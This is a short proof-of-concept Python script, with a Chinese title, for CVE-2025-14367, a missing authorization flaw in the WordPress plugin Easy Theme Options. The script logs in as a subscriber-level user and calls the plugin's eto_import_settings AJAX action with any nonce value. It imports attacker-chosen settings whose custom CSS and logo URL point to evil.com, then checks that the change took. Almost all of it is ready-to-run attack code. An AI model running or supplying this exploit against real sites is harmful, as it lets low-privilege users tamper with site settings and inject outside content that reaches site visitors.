CVE-2025-14367 WordPress Easy Theme Options插件未授权设置导入漏洞

# CVE-2025-14367 PoC - Easy Theme Options Missing Authorization # This PoC demonstrates how an authenticated user with Subscriber role can exploit # the missing authorization check in eto_import_settings function import requests import json target_url = "http://target-wordpress-site.com" username = "attacker" password = "password123" # Step 1: Authenticate and get nonce session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Craft malicious settings payload # Attacker can import arbitrary plugin settings malicious_settings = { "eto_options": { "theme_color": "#malicious", "custom_css": "body {background: url('http://evil.com/malicious.js')}", "logo_url": "http://evil.com/fake-logo.png" } } # Step 3: Exploit via AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { "action": "eto_import_settings", "eto_import_settings": json.dumps(malicious_settings), "security": "any_value_accepted" } response = session.post(ajax_url, data=exploit_data) print(f"Response Status: {response.status_code}") print(f"Response Body: {response.text}") # Step 4: Verify settings were imported verify_url = f"{target_url}/wp-admin/admin.php?page=easy-theme-options" verify_response = session.get(verify_url) if "malicious" in verify_response.text: print("[+] Exploitation successful! Settings have been modified.") else: print("[-] Exploitation may have failed.")